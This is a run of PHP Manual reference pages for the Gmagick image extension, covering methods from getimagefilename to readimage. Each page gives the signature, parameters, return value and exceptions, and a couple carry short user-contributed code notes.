public string Gmagick::getimagefilename ( void )

Returns the filename of a particular image in a sequence

Parameters

This function has no parameters.

Return Values

Returns a string with the filename of the image

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the format of a particular image in a sequence

  • « Gmagick::getimagefilename
  • Gmagick::getimagegamma »
  • PHP Manual
  • Gmagick
  • Returns the format of a particular image in a sequence

Gmagick::getimageformat

(PECL gmagick >= Unknown)

Gmagick::getimageformat — Returns the format of a particular image in a sequence

Description

public string Gmagick::getimageformat ( void )

Returns the format of a particular image in a sequence.

Parameters

This function has no parameters.

Return Values

Returns a string containing the image format on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image gamma

  • « Gmagick::getimageformat
  • Gmagick::getimagegreenprimary »
  • PHP Manual
  • Gmagick
  • Gets the image gamma

Gmagick::getimagegamma

(PECL gmagick >= Unknown)

Gmagick::getimagegamma — Gets the image gamma

Description

public float Gmagick::getimagegamma ( void )

Gets the image gamma

Parameters

This function has no parameters.

Return Values

Returns the image gamma on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the chromaticy green primary point

  • « Gmagick::getimagegamma
  • Gmagick::getimageheight »
  • PHP Manual
  • Gmagick
  • Returns the chromaticy green primary point

Gmagick::getimagegreenprimary

(PECL gmagick >= Unknown)

Gmagick::getimagegreenprimary — Returns the chromaticy green primary point

Description

public array Gmagick::getimagegreenprimary ( void )

Returns the chromaticity green primary point. Returns an array with the keys "x" and "y".

Parameters

This function has no parameters.

Return Values

Returns an array with the keys "x" and "y" on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the image height

  • « Gmagick::getimagegreenprimary
  • Gmagick::getimagehistogram »
  • PHP Manual
  • Gmagick
  • Returns the image height

Gmagick::getimageheight

(PECL gmagick >= Unknown)

Gmagick::getimageheight — Returns the image height

Description

public int Gmagick::getimageheight ( void )

Returns the image height

Parameters

This function has no parameters.

Return Values

Returns the image height in pixels.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image histogram

  • « Gmagick::getimageheight
  • Gmagick::getimageindex »
  • PHP Manual
  • Gmagick
  • Gets the image histogram

Gmagick::getimagehistogram

(PECL gmagick >= Unknown)

Gmagick::getimagehistogram — Gets the image histogram

Description

public array Gmagick::getimagehistogram ( void )

Returns the image histogram as an array of GmagickPixel objects. Throw an GmagickException on error.

Parameters

This function has no parameters.

Return Values

Returns the image histogram as an array of GmagickPixel objects.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the index of the current active image

  • « Gmagick::getimagehistogram
  • Gmagick::getimageinterlacescheme »
  • PHP Manual
  • Gmagick
  • Gets the index of the current active image

Gmagick::getimageindex

(PECL gmagick >= Unknown)

Gmagick::getimageindex — Gets the index of the current active image

Description

public int Gmagick::getimageindex ( void )

Returns the index of the current active image within the Gmagick object.

Parameters

This function has no parameters.

Return Values

Index of current active image

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image interlace scheme

  • « Gmagick::getimageindex
  • Gmagick::getimageiterations »
  • PHP Manual
  • Gmagick
  • Gets the image interlace scheme

Gmagick::getimageinterlacescheme

(PECL gmagick >= Unknown)

Gmagick::getimageinterlacescheme — Gets the image interlace scheme

Description

public int Gmagick::getimageinterlacescheme ( void )

Gets the image interlace scheme.

Parameters

This function has no parameters.

Return Values

Returns the interlace scheme as an integer on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image iterations

  • « Gmagick::getimageinterlacescheme
  • Gmagick::getimagematte »
  • PHP Manual
  • Gmagick
  • Gets the image iterations

Gmagick::getimageiterations

(PECL gmagick >= Unknown)

Gmagick::getimageiterations — Gets the image iterations

Description

public int Gmagick::getimageiterations ( void )

Gets the image iterations.

Parameters

This function has no parameters.

Return Values

Returns the image iterations as an integer.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Check if the image has a matte channel

  • « Gmagick::getimageiterations
  • Gmagick::getimagemattecolor »
  • PHP Manual
  • Gmagick
  • Check if the image has a matte channel

Gmagick::getimagematte

(PECL gmagick >= Unknown)

Gmagick::getimagematte — Check if the image has a matte channel

Description

public int Gmagick::getimagematte ( void )

Returns TRUE if the image has a matte channel, otherwise FALSE.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the image has a matte channel, otherwise FALSE.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the image matte color

  • « Gmagick::getimagematte
  • Gmagick::getimageprofile »
  • PHP Manual
  • Gmagick
  • Returns the image matte color

Gmagick::getimagemattecolor

(PECL gmagick >= Unknown)

Gmagick::getimagemattecolor — Returns the image matte color

Description

public void Gmagick::getimagemattecolor ( void )

Returns GmagickPixel object on success. Throw an GmagickException on error.

Parameters

This function has no parameters.

Return Values

Returns GmagickPixel object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the named image profile.

  • « Gmagick::getimagemattecolor
  • Gmagick::getimageredprimary »
  • PHP Manual
  • Gmagick
  • Returns the named image profile.

Gmagick::getimageprofile

(PECL gmagick >= Unknown)

Gmagick::getimageprofile — Returns the named image profile.

Description

public string Gmagick::getimageprofile ( string $name )

Returns the named image profile.

Parameters

This function has no parameters.

Return Values

Returns a string containing the image profile.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the chromaticity red primary point

  • « Gmagick::getimageprofile
  • Gmagick::getimagerenderingintent »
  • PHP Manual
  • Gmagick
  • Returns the chromaticity red primary point

Gmagick::getimageredprimary

(PECL gmagick >= Unknown)

Gmagick::getimageredprimary — Returns the chromaticity red primary point

Description

public array Gmagick::getimageredprimary ( void )

Returns the chromaticity red primary point as an array with the keys "x" and "y".

Parameters

This function has no parameters.

Return Values

Returns the chromaticity red primary point as an array with the keys "x" and "y".

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image rendering intent

  • « Gmagick::getimageredprimary
  • Gmagick::getimageresolution »
  • PHP Manual
  • Gmagick
  • Gets the image rendering intent

Gmagick::getimagerenderingintent

(PECL gmagick >= Unknown)

Gmagick::getimagerenderingintent — Gets the image rendering intent

Description

public int Gmagick::getimagerenderingintent ( void )

Gets the image rendering intent

Parameters

This function has no parameters.

Return Values

Extracts a region of the image and returns it as a a new wand

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image X and Y resolution

  • « Gmagick::getimagerenderingintent
  • Gmagick::getimagescene »
  • PHP Manual
  • Gmagick
  • Gets the image X and Y resolution

Gmagick::getimageresolution

(PECL gmagick >= Unknown)

Gmagick::getimageresolution — Gets the image X and Y resolution

Description

public array Gmagick::getimageresolution ( void )

Returns the resolution as an array.

Parameters

This function has no parameters.

Return Values

Returns the resolution as an array.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

Clive Walkden 20-Jun-2013 06:17
The array returned is in the format

Array
(
    [x] => 300
    [y] => 300
)


Gets the image scene

  • « Gmagick::getimageresolution
  • Gmagick::getimagesignature »
  • PHP Manual
  • Gmagick
  • Gets the image scene

Gmagick::getimagescene

(PECL gmagick >= Unknown)

Gmagick::getimagescene — Gets the image scene

Description

public int Gmagick::getimagescene ( void )

Gets the image scene.

Parameters

This function has no parameters.

Return Values

Returns the image scene.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Generates an SHA-256 message digest

  • « Gmagick::getimagescene
  • Gmagick::getimagetype »
  • PHP Manual
  • Gmagick
  • Generates an SHA-256 message digest

Gmagick::getimagesignature

(PECL gmagick >= Unknown)

Gmagick::getimagesignature — Generates an SHA-256 message digest

Description

public string Gmagick::getimagesignature ( void )

Generates an SHA-256 message digest for the image pixel stream.

Parameters

This function has no parameters.

Return Values

Returns a string containing the SHA-256 hash of the file.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the potential image type.

  • « Gmagick::getimagesignature
  • Gmagick::getimageunits »
  • PHP Manual
  • Gmagick
  • Gets the potential image type.

Gmagick::getimagetype

(PECL gmagick >= Unknown)

Gmagick::getimagetype — Gets the potential image type.

Description

public int Gmagick::getimagetype ( void )

Gets the potential image type.

Parameters

This function has no parameters.

Return Values

Returns the potential image type.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image units of resolution

  • « Gmagick::getimagetype
  • Gmagick::getimagewhitepoint »
  • PHP Manual
  • Gmagick
  • Gets the image units of resolution

Gmagick::getimageunits

(PECL gmagick >= Unknown)

Gmagick::getimageunits — Gets the image units of resolution

Description

public int Gmagick::getimageunits ( void )

Gets the image units of resolution.

Parameters

This function has no parameters.

Return Values

Returns the image units of resolution.

User Contributed Notes

There are no user contributed notes for this page.


Returns the chromaticity white point

  • « Gmagick::getimageunits
  • Gmagick::getimagewidth »
  • PHP Manual
  • Gmagick
  • Returns the chromaticity white point

Gmagick::getimagewhitepoint

(PECL gmagick >= Unknown)

Gmagick::getimagewhitepoint — Returns the chromaticity white point

Description

public array Gmagick::getimagewhitepoint ( void )

Returns the chromaticity white point as an associative array with the keys "x" and "y".

Parameters

This function has no parameters.

Return Values

Returns the chromaticity white point as an associative array with the keys "x" and "y".

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the width of the image

  • « Gmagick::getimagewhitepoint
  • Gmagick::getpackagename »
  • PHP Manual
  • Gmagick
  • Returns the width of the image

Gmagick::getimagewidth

(PECL gmagick >= Unknown)

Gmagick::getimagewidth — Returns the width of the image

Description

public int Gmagick::getimagewidth ( void )

Returns the width of the image.

Parameters

This function has no parameters.

Return Values

Returns the image width.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the GraphicsMagick package name.

  • « Gmagick::getimagewidth
  • Gmagick::getquantumdepth »
  • PHP Manual
  • Gmagick
  • Returns the GraphicsMagick package name.

Gmagick::getpackagename

(PECL gmagick >= Unknown)

Gmagick::getpackagename — Returns the GraphicsMagick package name.

Description

public string Gmagick::getpackagename ( void )

Returns the GraphicsMagick package name.

Parameters

This function has no parameters.

Return Values

Returns the GraphicsMagick package name as a string.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the Gmagick quantum depth as a string.

  • « Gmagick::getpackagename
  • Gmagick::getreleasedate »
  • PHP Manual
  • Gmagick
  • Returns the Gmagick quantum depth as a string.

Gmagick::getquantumdepth

(PECL gmagick >= Unknown)

Gmagick::getquantumdepth — Returns the Gmagick quantum depth as a string.

Description

public array Gmagick::getquantumdepth ( void )

Returns the Gmagick quantum depth as a string.

Parameters

This function has no parameters.

Return Values

Returns the Gmagick quantum depth as a string.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the GraphicsMagick release date as a string.

  • « Gmagick::getquantumdepth
  • Gmagick::getsamplingfactors »
  • PHP Manual
  • Gmagick
  • Returns the GraphicsMagick release date as a string.

Gmagick::getreleasedate

(PECL gmagick >= Unknown)

Gmagick::getreleasedate — Returns the GraphicsMagick release date as a string.

Description

public string Gmagick::getreleasedate ( void )

Returns the GraphicsMagick release date as a string.

Parameters

This function has no parameters.

Return Values

Returns the GraphicsMagick release date as a string.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the horizontal and vertical sampling factor.

  • « Gmagick::getreleasedate
  • Gmagick::getsize »
  • PHP Manual
  • Gmagick
  • Gets the horizontal and vertical sampling factor.

Gmagick::getsamplingfactors

(PECL gmagick >= Unknown)

Gmagick::getsamplingfactors — Gets the horizontal and vertical sampling factor.

Description

public array Gmagick::getsamplingfactors ( void )

Gets the horizontal and vertical sampling factor.

Parameters

This function has no parameters.

Return Values

Returns an associative array with the horizontal and vertical sampling factors of the image.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the size associated with the Gmagick object

  • « Gmagick::getsamplingfactors
  • Gmagick::getversion »
  • PHP Manual
  • Gmagick
  • Returns the size associated with the Gmagick object

Gmagick::getsize

(PECL gmagick >= Unknown)

Gmagick::getsize — Returns the size associated with the Gmagick object

Description

public array Gmagick::getsize ( void )

Returns the size associated with the Gmagick object as an array with the keys "columns" and "rows".

Parameters

This function has no parameters.

Return Values

Returns the size associated with the Gmagick object as an array with the keys "columns" and "rows".

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the GraphicsMagick API version

  • « Gmagick::getsize
  • Gmagick::hasnextimage »
  • PHP Manual
  • Gmagick
  • Returns the GraphicsMagick API version

Gmagick::getversion

(PECL gmagick >= Unknown)

Gmagick::getversion — Returns the GraphicsMagick API version

Description

public array Gmagick::getversion ( void )

Returns the GraphicsMagick API version as a string and as a number.

Parameters

This function has no parameters.

Return Values

Returns the GraphicsMagick API version as a string and as a number.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Checks if the object has more images

  • « Gmagick::getversion
  • Gmagick::haspreviousimage »
  • PHP Manual
  • Gmagick
  • Checks if the object has more images

Gmagick::hasnextimage

(PECL gmagick >= Unknown)

Gmagick::hasnextimage — Checks if the object has more images

Description

public mixed Gmagick::hasnextimage ( void )

Returns TRUE if the object has more images when traversing the list in the forward direction.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the object has more images when traversing the list in the forward direction, returns FALSE if there are none.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Checks if the object has a previous image

  • « Gmagick::hasnextimage
  • Gmagick::implodeimage »
  • PHP Manual
  • Gmagick
  • Checks if the object has a previous image

Gmagick::haspreviousimage

(PECL gmagick >= Unknown)

Gmagick::haspreviousimage — Checks if the object has a previous image

Description

public mixed Gmagick::haspreviousimage ( void )

Returns TRUE if the object has more images when traversing the list in the reverse direction

Parameters

This function has no parameters.

Return Values

Returns TRUE if the object has more images when traversing the list in the reverse direction, returns FALSE if there are none.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new image as a copy

  • « Gmagick::haspreviousimage
  • Gmagick::labelimage »
  • PHP Manual
  • Gmagick
  • Creates a new image as a copy

Gmagick::implodeimage

(PECL gmagick >= Unknown)

Gmagick::implodeimage — Creates a new image as a copy

Description

public mixed Gmagick::implodeimage ( float $radius )

Creates a new image that is a copy of an existing one with the image pixels "imploded" by the specified percentage.

Parameters

radius

The radius of the implode

Return Values

Returns imploded Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Adds a label to an image.

  • « Gmagick::implodeimage
  • Gmagick::levelimage »
  • PHP Manual
  • Gmagick
  • Adds a label to an image.

Gmagick::labelimage

(PECL gmagick >= Unknown)

Gmagick::labelimage — Adds a label to an image.

Description

public mixed Gmagick::labelimage ( string $label )

Adds a label to an image.

Parameters

label

The label to add

Return Values

Gmagick with label.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the levels of an image

  • « Gmagick::labelimage
  • Gmagick::magnifyimage »
  • PHP Manual
  • Gmagick
  • Adjusts the levels of an image

Gmagick::levelimage

(PECL gmagick >= Unknown)

Gmagick::levelimage — Adjusts the levels of an image

Description

public mixed Gmagick::levelimage ( float $blackPoint , float $gamma , float $whitePoint [, int $channel = Gmagick::CHANNEL_DEFAULT ] )

Adjusts the levels of an image by scaling the colors falling between specified white and black points to the full available quantum range. The parameters provided represent the black, mid, and white points. The black point specifies the darkest color in the image. Colors darker than the black point are set to zero. Mid point specifies a gamma correction to apply to the image. White point specifies the lightest color in the image. Colors brighter than the white point are set to the maximum quantum value.

Parameters

blackPoint

The image black point

gamma

The gamma value

whitePoint

The image white point

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Gmagick object with image levelled.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Scales an image proportionally 2x

  • « Gmagick::levelimage
  • Gmagick::mapimage »
  • PHP Manual
  • Gmagick
  • Scales an image proportionally 2x

Gmagick::magnifyimage

(PECL gmagick >= Unknown)

Gmagick::magnifyimage — Scales an image proportionally 2x

Description

public mixed Gmagick::magnifyimage ( void )

Conveniently scales an image proportionally to twice its original size.

Parameters

This function has no parameters.

Return Values

Magnified Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Replaces the colors of an image with the closest color from a reference image.

  • « Gmagick::magnifyimage
  • Gmagick::medianfilterimage »
  • PHP Manual
  • Gmagick
  • Replaces the colors of an image with the closest color from a reference image.

Gmagick::mapimage

(PECL gmagick >= Unknown)

Gmagick::mapimage — Replaces the colors of an image with the closest color from a reference image.

Description

public Gmagick Gmagick::mapimage ( gmagick $gmagick , bool $dither )

Replaces the colors of an image with the closest color from a reference image.

Parameters

gmagick

The reference image

dither

Set this integer value to something other than zero to dither the mapped image

Return Values

Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Applies a digital filter

  • « Gmagick::mapimage
  • Gmagick::minifyimage »
  • PHP Manual
  • Gmagick
  • Applies a digital filter

Gmagick::medianfilterimage

(PECL gmagick >= Unknown)

Gmagick::medianfilterimage — Applies a digital filter

Description

public void Gmagick::medianfilterimage ( float $radius )

Applies a digital filter that improves the quality of a noisy image. Each pixel is replaced by the median in a set of neighboring pixels as defined by radius.

Parameters

radius

The radius of the pixel neighborhood.

Return Values

Gmagick object with median filter applied.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Scales an image proportionally to half its size

  • « Gmagick::medianfilterimage
  • Gmagick::modulateimage »
  • PHP Manual
  • Gmagick
  • Scales an image proportionally to half its size

Gmagick::minifyimage

(PECL gmagick >= Unknown)

Gmagick::minifyimage — Scales an image proportionally to half its size

Description

public void Gmagick::minifyimage ( void )

A convenient method that scales an image proportionally to one-half its original size

Parameters

This function has no parameters.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Control the brightness, saturation, and hue

  • « Gmagick::minifyimage
  • Gmagick::motionblurimage »
  • PHP Manual
  • Gmagick
  • Control the brightness, saturation, and hue

Gmagick::modulateimage

(PECL gmagick >= Unknown)

Gmagick::modulateimage — Control the brightness, saturation, and hue

Description

public void Gmagick::modulateimage ( float $brightness , float $saturation , float $hue )

Lets you control the brightness, saturation, and hue of an image. Hue is the percentage of absolute rotation from the current position. For example 50 results in a counter-clockwise rotation of 90 degrees, 150 results in a clockwise rotation of 90 degrees, with 0 and 200 both resulting in a rotation of 180 degrees.

Parameters

brightness

The percent change in brighness (-100 thru +100).

saturation

The percent change in saturation (-100 thru +100)

hue

The percent change in hue (-100 thru +100)

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Simulates motion blur

  • « Gmagick::modulateimage
  • Gmagick::newimage »
  • PHP Manual
  • Gmagick
  • Simulates motion blur

Gmagick::motionblurimage

(PECL gmagick >= Unknown)

Gmagick::motionblurimage — Simulates motion blur

Description

public void Gmagick::motionblurimage ( float $radius , float $sigma , float $angle )

Simulates motion blur. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and MotionBlurImage() selects a suitable radius for you. Angle gives the angle of the blurring motion.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel.

sigma

The standard deviation of the Gaussian, in pixels.

angle

Apply the effect along this angle.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new image

  • « Gmagick::motionblurimage
  • Gmagick::nextimage »
  • PHP Manual
  • Gmagick
  • Creates a new image

Gmagick::newimage

(PECL gmagick >= Unknown)

Gmagick::newimage — Creates a new image

Description

public void Gmagick::newimage ( int $width , int $height , string $background [, string $format ] )

Creates a new image with the specified background color

Parameters

width

Width of the new image

height

Height of the new image

background

The background color used for this image (as float)

format

Image format.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Moves to the next image

  • « Gmagick::newimage
  • Gmagick::normalizeimage »
  • PHP Manual
  • Gmagick
  • Moves to the next image

Gmagick::nextimage

(PECL gmagick >= Unknown)

Gmagick::nextimage — Moves to the next image

Description

public bool Gmagick::nextimage ( void )

Associates the next image in the image list with an Gmagick object.

Parameters

This function has no parameters.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Enhances the contrast of a color image

  • « Gmagick::nextimage
  • Gmagick::oilpaintimage »
  • PHP Manual
  • Gmagick
  • Enhances the contrast of a color image

Gmagick::normalizeimage

(PECL gmagick >= Unknown)

Gmagick::normalizeimage — Enhances the contrast of a color image

Description

public void Gmagick::normalizeimage ([ int $channel ] )

Enhances the contrast of a color image by adjusting the pixels color to span the entire range of colors available.

Parameters

channel

Identify which channel to normalize

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Simulates an oil painting

  • « Gmagick::normalizeimage
  • Gmagick::previousimage »
  • PHP Manual
  • Gmagick
  • Simulates an oil painting

Gmagick::oilpaintimage

(PECL gmagick >= Unknown)

Gmagick::oilpaintimage — Simulates an oil painting

Description

public void Gmagick::oilpaintimage ( float $radius )

Applies a special effect filter that simulates an oil painting. Each pixel is replaced by the most frequent color occurring in a circular region defined by radius.

Parameters

radius

The radius of the circular neighborhood.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Move to the previous image in the object

  • « Gmagick::oilpaintimage
  • Gmagick::profileimage »
  • PHP Manual
  • Gmagick
  • Move to the previous image in the object

Gmagick::previousimage

(PECL gmagick >= Unknown)

Gmagick::previousimage — Move to the previous image in the object

Description

public bool Gmagick::previousimage ( void )

Assocates the previous image in an image list with the Gmagick object.

Parameters

This function has no parameters.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Adds or removes a profile from an image

  • « Gmagick::previousimage
  • Gmagick::quantizeimage »
  • PHP Manual
  • Gmagick
  • Adds or removes a profile from an image

Gmagick::profileimage

(PECL gmagick >= Unknown)

Gmagick::profileimage — Adds or removes a profile from an image

Description

public void Gmagick::profileimage ( string $name , string $profile )

Adds or removes a ICC, IPTC, or generic profile from an image. If the profile is NULL, it is removed from the image otherwise added. Use a name of '*' and a profile of NULL to remove all profiles from the image.

Parameters

name

Name of profile to add or remove: ICC, IPTC, or generic profile.

profile

The profile.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Analyzes the colors within a reference image

  • « Gmagick::profileimage
  • Gmagick::quantizeimages »
  • PHP Manual
  • Gmagick
  • Analyzes the colors within a reference image

Gmagick::quantizeimage

(PECL gmagick >= Unknown)

Gmagick::quantizeimage — Analyzes the colors within a reference image

Description

public void Gmagick::quantizeimage ( int $numColors , int $colorspace , int $treeDepth , bool $dither , bool $measureError )

Analyzes the colors within a reference image and chooses a fixed number of colors to represent the image. The goal of the algorithm is to minimize the color difference between the input and output image while minimizing the processing time.

Parameters

numColors

The number of colors.

colorspace

Perform color reduction in this colorspace, typically RGBColorspace.

treeDepth

Normally, this integer value is zero or one. A zero or one tells Quantize to choose a optimal tree depth of Log4(number_colors).% A tree of this depth generally allows the best representation of the reference image with the least amount of memory and the fastest computational speed. In some cases, such as an image with low color dispersion (a few number of colors), a value other than Log4(number_colors) is required. To expand the color tree completely, use a value of 8.

dither

A value other than zero distributes the difference between an original image and the corresponding color reduced algorithm to neighboring pixels along a Hilbert curve.

measureError

A value other than zero measures the difference between the original and quantized images. This difference is the total quantization error. The error is computed by summing over all pixels in an image the distance squared in RGB space between each reference pixel value and its quantized value.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


The quantizeimages purpose

  • « Gmagick::quantizeimage
  • Gmagick::queryfontmetrics »
  • PHP Manual
  • Gmagick
  • The quantizeimages purpose

Gmagick::quantizeimages

(PECL gmagick >= Unknown)

Gmagick::quantizeimages — The quantizeimages purpose

Description

public void Gmagick::quantizeimages ( int $numColors , int $colorspace , int $treeDepth , bool $dither , bool $measureError )

Analyzes the colors within a sequence of images and chooses a fixed number of colors to represent the image. The goal of the algorithm is to minimize the color difference between the input and output image while minimizing the processing time.

Parameters

numColors

The number of colors.

colorspace

Perform color reduction in this colorspace, typically RGBColorspace.

treeDepth

Normally, this integer value is zero or one. A zero or one tells Quantize to choose a optimal tree depth of Log4(number_colors).% A tree of this depth generally allows the best representation of the reference image with the least amount of memory and the fastest computational speed. In some cases, such as an image with low color dispersion (a few number of colors), a value other than Log4(number_colors) is required. To expand the color tree completely, use a value of 8.

dither

A value other than zero distributes the difference between an original image and the corresponding color reduced algorithm to neighboring pixels along a Hilbert curve.

measureError

A value other than zero measures the difference between the original and quantized images. This difference is the total quantization error. The error is computed by summing over all pixels in an image the distance squared in RGB space between each reference pixel value and its quantized value.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array representing the font metrics

  • « Gmagick::quantizeimages
  • Gmagick::queryfonts »
  • PHP Manual
  • Gmagick
  • Returns an array representing the font metrics

Gmagick::queryfontmetrics

(PECL gmagick >= Unknown)

Gmagick::queryfontmetrics — Returns an array representing the font metrics

Description

public array Gmagick::queryfontmetrics ( GmagickDraw $draw , string $text )

MagickQueryFontMetrics() returns an array representing the font metrics.

Parameters

This function has no parameters.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the configured fonts

  • « Gmagick::queryfontmetrics
  • Gmagick::queryformats »
  • PHP Manual
  • Gmagick
  • Returns the configured fonts

Gmagick::queryfonts

(PECL gmagick >= Unknown)

Gmagick::queryfonts — Returns the configured fonts

Description

public array Gmagick::queryfonts ([ string $pattern = "*" ] )

Returns fonts supported by Gmagick.

Parameters

This function has no parameters.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

Mathew Oransky 03-Nov-2009 03:39
An example of how to get the fonts available.
<?php
$image = new Gmagick();
$fonts = $image->queryfonts();
foreach($fonts as $font){
  echo $font."\n";
}
?>


Returns formats supported by Gmagick.

  • « Gmagick::queryfonts
  • Gmagick::radialblurimage »
  • PHP Manual
  • Gmagick
  • Returns formats supported by Gmagick.

Gmagick::queryformats

(PECL gmagick >= Unknown)

Gmagick::queryformats — Returns formats supported by Gmagick.

Description

public array Gmagick::queryformats ([ string $pattern = "*" ] )

Returns formats supported by Gmagick.

Parameters

pattern

Specifies a pointer to a text string containing a pattern.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Radial blurs an image

  • « Gmagick::queryformats
  • Gmagick::raiseimage »
  • PHP Manual
  • Gmagick
  • Radial blurs an image

Gmagick::radialblurimage

(PECL gmagick >= Unknown)

Gmagick::radialblurimage — Radial blurs an image

Description

public void Gmagick::radialblurimage ( float $angle [, int $channel = Gmagick::CHANNEL_DEFAULT ] )

Radial blurs an image.

Parameters

angle

The angle of the blur in degrees.

channel

Related channel

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Creates a simulated 3d button-like effect

  • « Gmagick::radialblurimage
  • Gmagick::read »
  • PHP Manual
  • Gmagick
  • Creates a simulated 3d button-like effect

Gmagick::raiseimage

(PECL gmagick >= Unknown)

Gmagick::raiseimage — Creates a simulated 3d button-like effect

Description

public void Gmagick::raiseimage ( int $width , int $height , int $x , int $y , bool $raise )

Creates a simulated three-dimensional button-like effect by lightening and darkening the edges of the image. Members width and height of raise_info define the width of the vertical and horizontal edge of the effect.

Parameters

width

Width of the area to raise.

height

Height of the area to raise.

x

X coordinate

y

Y coordinate

raise

A value other than zero creates a 3-D raise effect, otherwise it has a lowered effect.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Reads image from filename

  • « Gmagick::raiseimage
  • Gmagick::readimage »
  • PHP Manual
  • Gmagick
  • Reads image from filename

Gmagick::read

(PECL gmagick >= Unknown)

Gmagick::read — Reads image from filename

Description

public void Gmagick::read ( string $filename )

Reads image from filename.

Parameters

filename

The image filename.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Reads image from filename

  • « Gmagick::read
  • Gmagick::readimageblob »
  • PHP Manual
  • Gmagick
  • Reads image from filename

Gmagick::readimage

(PECL gmagick >= Unknown)

Gmagick::readimage — Reads image from filename

Description

public void Gmagick::readimage ( string $filename )

Reads image from filename.

Parameters

filename

The image filename.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

